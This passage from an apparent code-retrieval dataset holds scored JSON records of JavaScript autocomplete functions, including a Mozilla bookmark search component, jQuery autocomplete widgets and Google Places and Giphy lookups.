\t\turl.QueryInterface(Components.interfaces.nsIRDFLiteral);\n\t \t\n\t \t//if it's not a url and not a folder, then skip\n\t \tif ((url != null && catonly) \n\t \t\t\t|| (url == null && !containerUtils.IsContainer(mDS,child)))continue;\n\t \t\t\n\t \tvar name = mDS.GetTarget(child,namePredicate,true)\n\t \t\t\t\t\t.QueryInterface(Components.interfaces.nsIRDFLiteral);\n\t \t//if it doesn't match the already typed string\n\t \tif (lastWord != '' && !name.Value.trim().toLowerCase()\n\t \t\t\t\t\t\t\t\t.replace(/[ ]{2,}/,' ').startsWith(lastWord))continue;\n\t \t\n\t \tvar linkDate = null;\n\t \tif (url)\n\t \t\tlinkDate = mDS.GetTarget(child,lastVisitDatePred, true);\n\t\t\tif (linkDate == null)\n\t\t\t\tlinkDate = mDS.GetTarget(child,lastModDatePred, true);\n\t\t\tif (linkDate == null)\n\t\t\t\tlinkDate = mDS.GetTarget(child,addDatePred, true);\n\t\t\tif (linkDate instanceof Components.interfaces.nsIRDFDate)\n\t\t\t\tlinkDate = linkDate.QueryInterface(Components.interfaces.nsIRDFDate).Value;\n\t\t\telse\n\t\t\t\tlinkDate = '';\n\t\t\t\t\n\t\t\tresult.ar.push(\n\t\t\t\t[additionalPrefix+name.Value+(url?'':'/'),\n\t\t\t\t\turl?url.Value:'',\n\t\t\t\t\tlinkDate\n\t\t\t\t]\n\t\t\t);\t\t\t\n\t \t//gather some children if there's not enough\n\t \tif (children.length < 5 && count < 10 && url == null){\n\t \t\tchildren.push([child,additionalPrefix+name.Value+'/']);\n\t \t}\t\n\t \t++count;\n\t }\n\t ++additionalLevels;\n\t for (var i=0;i<children.length;i++){\n\t \titerateThroughResource(children[i][0],result,'',additionalLevels,children[i][1])\n\t }\n }\n this.observe = function(){\n \tif (listener == null)return;\n \t\n \tvar mySearchString = searchStr;\n \tfunction result(){}\n \tresult.prototype = resultPrototype;\n \tvar result = new result();\n\t\ttry{\n\t\t\t//init result parameters\n\t\t\tresult.errorDescription = null;\n\t \tresult.searchString = mySearchString;\n\t \tresult.ar = [];\n\t \tmySearchString = mySearchString.toLowerCase().replace(new RegExp('[ ]*/[ ]*','g'),'/').replace(/[ ]{2,}/,' ');\n\t \tfunction compareFunction(a,b){\n \t\t\t\tif (a[2] > b[2])\n \t\t\t\t\treturn -1;\n \t\t\t\telse if(a[2] < b[2])\n \t\t\t\t\treturn 1;\n \t\t\t\treturn 0;\n \t\t\t}\n\t \tif (mySearchString.charAt(0) == '/'){\n\t \t\tvar l = mySearchString.lastIndexOf('/');\n\t \t\tvar lastWord = (mySearchString.length > (l+1))?mySearchString.substr(l+1):'';\n\t \t\t//first determine the path we already know\n\t \t\tvar res = null;\n\t \t\tactPath = findParentResource(mySearchString);\n\t \t\tres = actPath.res;\n\t \t\tif (res != null){\n\t\t \t\t//iterate through children\n\t \t\t\tresult.setPrefix(prefix+actPath.path);\n\t \t\t\titerateThroughResource(res,result,lastWord);\n \t\t\t}\n \t\t\t//sort date by descending\n \t\t\tresult.ar.sort(compareFunction);\n\t \t}else if(!catonly){\n\t \t\tresult.setPrefix('');\n\t \t\tvar stringMatch = 'contains';\n\t\t \tif(mySearchString.charAt(0) == '^'){\n\t\t\t\t\tstringMatch = 'startswith';\n\t\t\t\t\tmySearchString = mySearchString.substr(1);\n\t\t\t\t}else if(mySearchString.charAt(0) == '$'){\n\t\t\t\t\tstringMatch = 'endswith';\n\t\t\t\t\tmySearchString = mySearchString.substr(1);\n\t\t\t\t}\n\t\t\t\tvar words = mySearchString.split(/[ ]+/);\n\t\t\t\tvar i;\n\t\t\t\tvar newWordsArry = new Array();\n\t\t\t\t//use only important words\n\t\t\t\tfor(i=0;i<words.length;i++){\n\t\t\t\t\tif(words[i].length >= gMinWordLength\n\t\t\t\t\t\t&& !words[i].startsWith(\n\t\t\t\t\t\t\t\tgIrrelaventWords\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t){\n\t\t\t\t\t\tnewWordsArry.push(RegExp.escape(words[i]));\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t\tvar match1 = null;\n\t\t\t\tvar match2 = null;\n\t\t\t\tif (newWordsArry.length >= 1){\n\t\t\t\t\tmatch1 = new RegExp('(?:\\\\b'+newWordsArry.join('\\\\b)|(?:\\\\b')+'\\\\b)','gi');\n\t\t\t\t\tmatch2 = new RegExp(newWordsArry.join('|'),'gi');\n\t\t\t\t}\n\t\t\t\tvar refString = 'find:datasource=rdf:bookmarks&match=http://home.netscape.com/NC-rdf#Name'\n\t\t\t\t\t\t+'&method='+stringMatch+'&text='+encodeURIComponent(mySearchString);\n\t\t\t\tvar duplicates = new Array();\n\t\t\t\t//this seems to be a reasonable thing to do only for \"contains\"\n\t\t\t\tif (stringMatch == 'contains' && words.length > 1){\n\t\t\t\t\tfor (i=0;i<words.length;i++){\n\t\t\t \t\trefString = 'find:datasource=rdf:bookmarks&match=http://home.netscape.com/NC-rdf#Name'\n\t\t\t\t\t\t\t+'&method='+stringMatch+'&text='+encodeURIComponent(words[i]);\n\t\t\t\t\t\texecuteSearchOn(result,refString,duplicates,match1,match2);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\texecuteSearchOn(result,refString,duplicates,match1,match2);\n\t\t\t\t}\n\t\t\t\t//do not sort if relevance is irrelevant\n\t\t\t\tif (newWordsArry.length >= 1){\n\t\t\t\t\tresult.ar.sort(compareFunction);\n\t\t\t\t}\n\t\t\t}\n\t\t\tresult.matchCount = result.ar.length;\n\t\t\tif (result.matchCount > 0)\n\t \t\tresult.searchResult = Components.interfaces.nsIAutoCompleteResult.RESULT_SUCCESS;\n\t \telse\n\t \t\tresult.searchResult = Components.interfaces.nsIAutoCompleteResult.RESULT_NOMATCH;\n\t\t}catch(e){\n\t\t\tresult.matchCount = 0;\n\t\t\tresult.searchResult = Components.interfaces.nsIAutoCompleteResult.RESULT_FAILURE;\n\t\t\tresult.errorDescription = e.message;\n\t\t}\n\t\t//Work Around the bug with one blank field\n\t\t//if (result.matchCount != 0)\n\t\t\t//result.matchCount++;\n\t\t\t\n \tif (listener != null){\n \t\tlistener.onSearchResult(thisRet,result);\n \t}\n }\n var thisRet = this;\n var isHistorySearch = false;\n // var prevSearches = [];\t//keeps track of the last 3 searches\n /*AString searchString , AString searchParam , nsIAutoCompleteResult previousResult , \n nsIAutoCompleteObserver listener */\n /*NOTE to SELF: prevResult is currently not implemented in mozilla but perhaps we could\n *get around it by saving the last search and its timestamp*/\n this.startSearch = function(searchString ,searchParam , prevResult , lListener){\n \tthisRet = this;\n \tvar originalSearch = new String(searchString);\n \tsearchString = searchString.replace(/^\\s+/,'');\n \tvar which;\n \t//set defaults\n \tvar enablehistry = true;\n \tcatonly = false;\n \tprefix = 'b:';\n \tif (searchParam){\n \t\tvar params = searchParam.split(' ');\n\t \tfor (var i=0;i<params.length;i++){\n\t\t \tswitch(params[i]){\n\t\t \t\tcase 'noprefix':\n\t\t \t\t\tprefix = '';\n\t\t \t\t\tbreak;\n\t\t \t\tcase 'nohistory':\n\t\t \t\t\tenablehistry = false;\n\t\t \t\t\tbreak;\n\t\t \t\tcase 'catonly':\n\t\t \t\t\tcatonly = true;\n\t\t \t\t\tbreak;\n\t\t \t}\n\t \t}\n \t}\n \tif (enablehistry){\n\t \tif (!(which = searchString.startsWith(['b:','/']))){\n\t \t\tif (!initedHistory){\n\t \t\t\thistorySearch = Components.classes['@mozilla.org/autocomplete/search;1?name=history']\n\t \t\t\t\t.getService(Components.interfaces.nsIAutoCompleteSearch);\n\t \t\t\tinitedHistory = true;\n\t \t\t}\n\t \t\tisHistorySearch = true;\n\t \t\tlistener = lListener;\n\t \t\thistorySearch.startSearch(searchString,searchParam,prevResult,this);\n\t \t\treturn;\n\t \t}else if((searchString = searchString.substr(((which == 2)?0:(searchString.indexOf(':')+1))).trim()) == ''){\n\t \t\tfunction lResult(){}\n\t \t\tlResult.prototype = resultPrototype;\n\t \t\tvar lResult = new lResult();\n\t \t\tlResult.searchResult = Components.interfaces.nsIAutoCompleteResult.RESULT_IGNORED;\n\t \t\tlResult.matchCount = 0;\n\t \t\tlResult.errorDescription = null;\n\t \t\tlResult.searchString = searchString;\n\t \t\tlListener.onSearchResult(this,lResult);\n\t \t\treturn;\n\t \t}\n\t }else{\n\t \twhich = searchString.startsWith('b:');\n\t \tsearchString = searchString.substr((which == 0)?0:(searchString.indexOf(':')+1)).trim();\n\t }\n \tisHistorySearch = false;\n \tif (!inited){\n \t\tthis.initService();\n \t}else if(timeout){\n \t\ttimeout.cancel();\n \t}\n \t//prevSearches.push(originalSearch);\n \tpreviousResult = prevResult;\n \tsearchStr = searchString;\n \tlistener = lListener;\n\t\t//do backspace buffering check\n \t/*var flag = true;\n \tfor (var i = (prevSearches.length-1);i > 0;i--){\n \t\tif (prevSearches[i].length != (prevSearches[i-1].length-1)\n \t\t\t|| prevSearches[i] != prevSearches[i-1].substr(0,prevSearches[i].length)){\n \t\t\tflag = false;\n \t\t}\n \t}\n \t//only store gBackSpaceBuf last requests\n \tif (prevSearches.length > gBackSpaceBuf)\n \t\tprevSearches.shift();\n \t//if backspace indeed was pressed repeatedly, then wait awhile\n \tif (flag && prevSearches.length == gBackSpaceBuf){\n \t\t//do some buffering\n \t\ttimeout.init(this,500,timeout.TYPE_ONE_SHOT);*/\n \t//}else{\n \t\ttimeout.init(this,0,timeout.TYPE_ONE_SHOT);\n \t//}\n }\n this.stopSearch = function(){\n \tif (timeout)timeout.cancel();\n \tlistener = null;\n \tif (isHistorySearch)\n \t\thistorySearch.stopSearch();\n }\n}", "title": "" }, { "docid": "e8f18fbe77e333b96d160ff5584fa189", "score": "0.60877216", "text": "function autComplete(result)\n {\n var inputId=localStorage.getItem(\"typeId\");\n var a=document.getElementById(\"autoCompleteList_\"+inputId);\n a.innerHTML=\"\";\n for(var i=0; i<result.length;i++)\n {\n var li= document.createElement(\"li\");\n li.innerText=result[i];\n a.appendChild(li);\n }\n }", "title": "" }, { "docid": "9462b5c99ed7cb561b1ea9c5567e0f54", "score": "0.6084932", "text": "function handler() {\n console.log(\"Handler called. q.value: '\" + qq.value + \"'\");\n\n // Check if hint is still applicable, if not, reset it\n if (hint.value.length) {\n if (hint.value.indexOf(qq.value.trim()) === -1) {\n // hint no longer contains the user query, so let's reset it\n hint.value = qq.value;\n }\n }\n\n // Let's reset the pointer, as new character was typed\n selected_pointer = -1;\n\n // Let's make the request to Rapid Suggest service\n var req = new window.XMLHttpRequest();\n req.onreadystatechange = function () {\n if (req.readyState === 4) { // DONE, the operation is complete\n if (req.status === 200) {\n var response = JSON.parse(req.responseText);\n terms = response.terms;\n displayResults(response.results); // [ terms : [..], results : []]\n } else {\n if (req.status !== 0) {\n console.warn(req.status, req.responseText);\n r.style.display = 'none';\n }\n }\n }\n };\n\n var url = location.protocol + '//' + location.host + '/rapidsuggest' + '?q=';\n req.open('GET', url + encodeURIComponent(qq.value.trim()), true);\n req.send();\n console.log(\"Requested autocomplete for '\" + qq.value.trim() + \"'\");\n }", "title": "" }, { "docid": "43f3bfc25b6a72be147345183320d08b", "score": "0.6075824", "text": "function initialize() {\n initAutocomplete();\n}", "title": "" }, { "docid": "0108cde06cfe9bc428e60b0c0efdc01d", "score": "0.60693526", "text": "function autoCompleteLocationSearchBar() {\r\n // Get the address the user is typing in the search bar\r\n var address = document.getElementById(\"Hike_Search_Bar\");\r\n\r\n // Autocomplete the address\r\n var autocomplete = new google.maps.places.Autocomplete(address);\r\n\r\n // Set the type of entries to search for (cities only, etc.)\r\n autocomplete.setTypes([\"geocode\"]);\r\n\r\n // Continue to check for changes in user input\r\n google.maps.event.addListener(autocomplete, \"place_changed\", function () {\r\n // Autocomplete a suggestion for a place\r\n var place = autocomplete.getPlace();\r\n\r\n // If the user enters a place that doesn't exist, return.\r\n // if (!place.geometry) {\r\n // window.alert(\r\n // \"No details available for input: '\" + place.name + \"'\"\r\n // );\r\n // return;\r\n // }\r\n\r\n // instantiate an array to store address suggestions\r\n var address = \"\";\r\n\r\n // Show the autocomplete result options to the user via the array\r\n if (place.address_components) {\r\n address = [\r\n (place.address_components[0] &&\r\n place.address_components[0].short_name) ||\r\n \"\",\r\n (place.address_components[1] &&\r\n place.address_components[1].short_name) ||\r\n \"\",\r\n (place.address_components[2] &&\r\n place.address_components[2].short_name) ||\r\n \"\",\r\n ].join(\" \");\r\n }\r\n });\r\n}", "title": "" }, { "docid": "14a766b30a4fd1a56e53d10db4173e45", "score": "0.6068008", "text": "function autocomplete() {\n var input = document.getElementById('autocomplete');\n // uses Places library in the Maps JavaScript API. \n var autocomplete = new google.maps.places.Autocomplete(input, { types: ['(cities)'] });\n //default iso country Ireland, can be changed to the GB if one of there other four countries is selected from the drop down box\n autocomplete.setComponentRestrictions({ 'country': [iso] }); \n google.maps.event.addListener(autocomplete, \"place_changed\", function() {\n autocomplete.getPlace();\n });\n}", "title": "" }, { "docid": "af12838a7cd9916363157fcfa2ebd55e", "score": "0.606051", "text": "function setAutocomplete() {\n\n $('#matchValue').on('focus', function () {\n\n //var field = $(this).closest('.constBlock').find('#tableColumn').val();\n $('#matchValue').typeahead({\n source: function (request, response) {\n\n var result = {}\n \n var field = $('#matchValue').closest('.constBlock').find('#tableColumn').val();\n\n if (!field) {\n response(Object.keys(result));\n }\n\n console.log(searchTable);\n var sval =\"\"\n searchTable.forEach(function (item, index) {\n sval = (item[field] + \"\").toLowerCase().trim();\n if (sval) {\n result[sval] = sval;\n }\n });\n\n response(Object.keys(result));\n },\n \n autoSelect: true\n });\n\n\n });\n\n\n}", "title": "" }, { "docid": "7cf7816ffb6c4b91e7b3c3f6b6969c23", "score": "0.60581684", "text": "function autocompletesocialworkername($object, $id) {\n\t\t\t$object.autocomplete({\n\t\t\t\t\tminLength: 0,\n\t\t\t\t\tautoFocus: true,\n\t\t\t\t\tmessages: {\n\t\t\t\t\t\tnoResults: 'Aucun usager trouvé',\n\t\t\t\t\t\tresults: function() {}\n\t\t\t\t\t},\n\t\t\t\t\tsource: function(request, response) {\n\t\t\t\t\t\t$.ajax({\n\t\t\t\t\t\t\ttype: \"GET\",\n\t\t\t\t\t\t\turl: 'jsp/admin/plugins/peps/socialworker/AutoCompleteSocialWorkerName.jsp',\n\t\t\t\t\t\t\tdata: 'search_input=' + $object.val(),\n\t\t\t\t\t\t\tmessages: {\n\t\t\t\t\t\t\t\tnoResults: 'Aucun usager trouvé'\n\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\tsuccess: function(data) {\n\t\t\t\t\t\t\t\t//console.info($(this).val());\n\t\t\t\t\t\t\t\tvar result = $.map(data, function(items) {\n\t\t\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\t\t\tlabel: items.name,\n\t\t\t\t\t\t\t\t\t\tvalue: items.name,\n\t\t\t\t\t\t\t\t\t\tdata: items.id\n\t\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\tresponse(result);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t},\n\t\t\t\t\tselect: function(e, ui) {\n\t\t\t\t\t\t$object.val(ui.item.value);\n\t\t\t\t\t\t$id.val(ui.item.data);\n\t\t\t\t\t},\n\t\t\t\t\tchange: function(e, ui) {\n\t\t\t\t\t\tif (!(ui.item)) {\n\t\t\t\t\t\t\t$object.val(\"\");\n\t\t\t\t\t\t\t$id.val(\"\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t\t.autocomplete(\"instance\")._renderItem = function(ul, item) {\n\t\t\t\t\treturn $(\"<li>\")\n\t\t\t\t\t\t.append(\"<b>\" + item.value + \"</b>\")\n\t\t\t\t\t\t.appendTo(ul);\n\t\t\t\t};\n\t\t}", "title": "" }, { "docid": "3a2f60951d53bc5b826f030818f9f542", "score": "0.6051576", "text": "function autocompletado(input,hidden) {\n\tif ( input == 'vigilante' ) {\n\t\t$('#'+input).autocomplete({\n\t\t\tsource: \"controller/puente.php?option=9&vigilantes=true\",\n\t\t\tminLength: 2,\n\t\t\tselect: function( event, ui ) {\n\t \t$('#'+hidden).val(ui.item.id);\n\t \t},\n\t\t});\n\t}else{\n\t\t$('#'+input).autocomplete({\n\t\t\tsource: \"controller/puente.php?option=9\",\n\t\t\tminLength: 2,\n\t\t\tselect: function( event, ui ) {\n\t \t$('#'+hidden).val(ui.item.id);\n\t \t},\n\t\t});\n\t}\n\t\n\treturn false;\n}", "title": "" }, { "docid": "bda48dc5898557cedd1f7767917ee308", "score": "0.60494816", "text": "function autocomplete(inp, arr) {\n var currentFocus;\n \n inp.addEventListener(\"input\", function(e) {\n var a, b, i, val = this.value;\n closeAllLists();\n if (!val) { return false;}\n currentFocus = -1;\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n \n this.parentNode.appendChild(a);\n \n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function(e) {\n /*insert the value for the autocomplete text field:*/\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n /*execute a function presses a key on the keyboard:*/\n inp.addEventListener(\"keydown\", function(e) {\n var x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n }\n });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n}", "title": "" }, { "docid": "2c056f1a5934c551c52878eb8f8038cd", "score": "0.6026853", "text": "function Compleate(textbox, list, url, onSelected, entityId) {\n $(textbox).off('autocomplete').autocomplete(\n {\n source: function (request, response) {\n if (entityId == null) {\n ExecuteAjax(url, { filter: request.term }, function (json) {\n $(list).empty();\n for (var i = 0; i < json.length; i++) {\n $(list).append($('<option data-id=' + json[i].Id + '></option>').val(json[i].Label).html(json[i].Value));\n }\n });\n }\n else {\n ExecuteAjax(url, { filter: request.term, entityId: entityId }, function (json) {\n $(list).empty();\n for (var i = 0; i < json.length; i++) {\n $(list).append($('<option data-id=' + json[i].Id + 'data-label=' + json[i].Label + '></option>').val(json[i].Label).html(json[i].Value));\n }\n });\n }\n\n },\n minLength: 3\n });\n\n //this is executed when an option from DataList is selected\n $(textbox).off('input').bind('input', function () {\n var val = this.value;\n if ($(list).find('option').filter(function () { return this.value.toUpperCase() === val.toUpperCase(); }).length) {\n var option = $(list).find('option').filter(function () {\n return this.value.toUpperCase() === val.toUpperCase();\n });\n\n var value = option.text();\n var id = option.data(\"id\");\n var label = option.val();\n\n if (onSelected != null) {\n onSelected(id, label, value);\n }\n }\n });\n}", "title": "" }, { "docid": "c697a125b4643aa2f29fcc30883d24be", "score": "0.60249156", "text": "function search() {}", "title": "" }, { "docid": "36a8821392a4e58a2234500a485aba68", "score": "0.6019185", "text": "function SuggestionCreater(){\r\n}", "title": "" }, { "docid": "2351e66ddd1feabcf7c20a792311d8e7", "score": "0.6008057", "text": "function custom_source(request, response) {\n var matcher = new RegExp($.ui.autocomplete.escapeRegex(request.term), \"i\");\n response($.grep(data, function (value) {\n return matcher.test(value.value) || matcher.test(value.label) || matcher.test(value.prof);\n }));\n }", "title": "" }, { "docid": "363c0a0244611da8e6ad6aad10abaaf1", "score": "0.60066336", "text": "function autocomplete(string) {\r\n return fetch(\r\n `https://api.giphy.com/v1/gifs/search/tags?api_key=zqAI9bVBu4sXeAa7U2dLJ4LEL7VvAy6A&q=${string}&limit=4&offset=0`\r\n );\r\n }", "title": "" }, { "docid": "4296cbeed69a67fd4628189d15b9e184", "score": "0.6005818", "text": "function autocomplet() {\r\n\tvar location = $('#e11').val();\r\n\r\n\tvar keyword = $('#s').val();\r\n\t\r\n\r\n\tvar n = keyword.length;\r\n\r\n\tif (n == 0) {\r\n\t\t$('#results_ajax').hide();\r\n\t\treturn;\r\n\t};\r\n\t$.ajax({\r\n\t\turl: 'include/ajax_refresh.php',\r\n\t\ttype: 'POST',\r\n\t\tdata: {keyword:keyword, location:location},\r\n\t\tsuccess:function(data){\r\n\t\t\t$('#results_ajax').show();\r\n\t\t\t$('#results_ajax').html(data);\r\n\t\t}\r\n\t});\r\n}", "title": "" }, { "docid": "c261c62fa1467526483707b3849e34e8", "score": "0.5991058", "text": "function get_dealer_name() {\n\n $j(\"#dlr_name\").autocomplete({\n source: \"getDealerName\",\n width: 265,\n selectFirst: true,\n minlength: 1,\n dataType: \"jsonp\",\n focus: function(event, data) {\n $j('#dlr_id').val(data.item.delar_id);\n $j('#accnt_no').val(data.item.delar_account_no);\n }\n });\n}", "title": "" }, { "docid": "03e74fce1fc83139c91d89ee526f2e89", "score": "0.5984407", "text": "function autoComplete($,lastValue,acSearchField,acResultsId,acURL,acSearchId,acResultsDiv,field_id)\n{\n\tvar count = 0;\n\t// get the field value\n\tvar part = acSearchField.val();\n\tvar userPc= $('#listings-search-zip').val();\n\t\n\tvar promo = \"false\";\n\t//console.log(lastValue);\n\t// if it's empty clear the resuts box and return\n\tif(part == ''){\n\t\tclearAutoComplete(acResultsDiv);\n\t\treturn;\n\t}\n\t\n\t// if it's equal the value from the time of the call, allow\n\tif(lastValue != part){\n\t\treturn;\n\t}\n\tif((field_id.indexOf(\"listings-search-value\")>=0) && ((lastValue.split(\" \")).pop()).length < 2) return;\n\tvar str=window.location.protocol + '//' + window.location.hostname + '/' + acURL + encodeURIComponent(part);\n\n\tif(!window.submitted) {\n\t\twindow.submitted = 'false';\n\t}\n\t\n\t// get remote data as JSON\n\tif(window.submitted == \"false\")\n\t\t\tnumAjaxCalls++;\n\telse\n\t\treturn;\n\t\n\tjQuery.getJSON(str,{\"userPc\":userPc }, function(json){\n\t\t\n\t\tnumAjaxCalls--;\n\t\tconsole.log(\"numAjaxCalls: \" + numAjaxCalls);\n\t\tif(window.submitted == \"true\" && numAjaxCalls >0)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\telse if(window.submitted == \"true\" && numAjaxCalls ==0)\n\t\t{\n\t\t\twindow.submitted=\"false\";\n\t\t\treturn;\n\t\t}\n\n\t\tif(field_id.indexOf(\"listings-search-value\")>=0)\n\t\t{\n\t\t\t// get the total of results\n\t\t\tvar groupBusinesses = 0;\n\t\t\tvar cat = 0;\n\t\t\tvar brands = 0;\n\t\t\tvar promos = 0;\n\t\t\tvar ansLength = 0;\n\t\t\tvar hashtags = 0;\n\t\t\tvar places = 0;\n\n\t\t\tif(json['GroupBusinesses'] )\n\t\t\t{\n\t\t\t\tansLength += json['GroupBusinesses'].length;\n\t\t\t\tacListTotal += json['GroupBusinesses'].length;\n\t\t\t\tgroupBusinesses = 1;\n\t\t\t}\n\t\t\tif(json['Hashtags'] )\n\t\t\t{\n\t\t\t\tansLength += json['Hashtags'].length;\n\t\t\t\tacListTotal += json['Hashtags'].length;\n\t\t\t\thashtags = 1;\n\t\t\t}\n\t\t\tif(json['promos'])\n\t\t\t{\n\t\t\t\tansLength += json['promos'].length;\n\t\t\t\tacListTotal += json['promos'].length;\n\t\t\t\tpromos = 1;\n\t\t\t}\n\t\t\tif(json['Brands'] )\n\t\t\t{\n\t\t\t\tansLength += json['Brands'].length;\n\t\t\t\tacListTotal += json['Brands'].length;\n\t\t\t\tbrands = 1;\n\t\t\t}\n\t\t\tif(json['Categories'])\n\t\t\t{\n\t\t\t\tansLength += json['Categories'].length;\n\t\t\t\tacListTotal += json['Categories'].length;\n\t\t\t\tcat = 1;\n\t\t\t}\n\n\t\t\tif(json['Places'])\n\t\t\t{\n\t\t\t\tansLength += json['Places'].length;\n\t\t\t\tacListTotal += json['Places'].length;\n\t\t\t\tplaces = 1;\n\t\t\t}\n\n\t\t\t// if there are results populate the results div\n\t\t\tif(ansLength > 0)\n\t\t\t{\n\t\t\n\t\t\t\tvar newData = '';\n\t\t\t\tnewData += '<ul class=\"dropdown-menu\" role=\"menu\" aria-labelledby=\"dLabel\" style=\"display:block\">';\n\t\t\t\tif(hashtags || groupBusinesses){\n\t\t\t\t\tnewData += '<li class=\"disabled\"><a tabindex=\"-1\" href=\"#\">' + top.autocomplete.brand_promotions + '</a></li>';\t\n\t\t\t\t}\n\t\t\t\tif (groupBusinesses) {\n\t\t\t\t\tfor(i=0; i < json['GroupBusinesses'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tvar text = json['GroupBusinesses'][i].split(',');\n\t\t\t\t\t\tvar busName = text[0];\n\t\t\t\t\t\tvar distanceText = text[1];\n\t\t\t\t\t\tvar businessId = text[2];\n\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'\" class=\"unselected\" data-id=\"'+businessId+'\" value=\"' + busName + '\"><a class=\"hashtag-link\" tabindex=\"-1\" href=\"#\">' + busName + '</span><span class=\"pull-right\" >'+distanceText+'km</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (hashtags) {\n\t\t\t\t\tfor(i=0; i < json['Hashtags'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tvar text = json['Hashtags'][i].split(',');\n\t\t\t\t\t\tvar hashtagName = text[0];\n\t\t\t\t\t\tvar distanceText = text[1];\n\t\t\t\t\t\tvar businessId = text[2];\n\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'\" class=\"unselected\" data-id=\"'+businessId+'\" value=\"' + hashtagName + '\"><a class=\"hashtag-link\" tabindex=\"-1\" href=\"#\">' + hashtagName + '</span><span class=\"pull-right\" >'+distanceText+'km</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (promos) {\n\t\t\t\t\tnewData += '<li class=\"disabled\"><a tabindex=\"-1\" href=\"#\">' + top.autocomplete.deals_n_promotions + '</a></li>';\n\t\t\t\t\tfor(i=0; i < json['promos'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'\" class=\"unselected\" value=\"' + json['promos'][i] + '\"><a class=\"autoComplete-link\" tabindex=\"-1\" href=\"#\">' + json['promos'][i] + '</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (cat) {\n\t\t\t\t\tnewData += '<li class=\"disabled\"><a tabindex=\"-1\" href=\"#\" >' + top.autocomplete.categories + '</a></li>';\n\t\t\t\t\tfor(i=0; i < json['Categories'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'\" class=\"unselected\" value=\"' + json['Categories'][i] + '\"><a class=\"autoComplete-link\" tabindex=\"-1\" href=\"#\" >' + json['Categories'][i] + '</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (places) {\n\t\t\t\t\tnewData += '<li class=\"disabled\"><a tabindex=\"-1\" href=\"#\" >' + top.autocomplete.places + '</a></li>';\n\t\t\t\t\tfor(i=0; i < json['Places'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'\" class=\"unselected\" value=\"' + json['Places'][i] + '\"><a class=\"autoComplete-link\" tabindex=\"-1\" href=\"#\" places >' + json['Places'][i] + '</a></li>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (brands) {\n\t\t\t\t\tnewData += '<li class=\"disabled\"><a tabindex=\"-1\" href=\"#\">' + top.autocomplete.business_listings + '</a></li>';\n\t\t\t\t\tfor(i=0; i < json['Brands'].length; i++) \n\t\t\t\t\t{\n\t\t\t\t\t\tvar text = json['Brands'][i].split(',');\n\t\t\t\t\t\tvar brandName = text[0];\n\t\t\t\t\t\tvar distanceText = text[1];\n\t\t\t\t\t\tnewData += '<li id=\"cell-'+(count++)+'\" class=\"unselected\" value=\"' + brandName + '\"><a class=\"autoComplete-link\" tabindex=\"-1\" href=\"#\">' 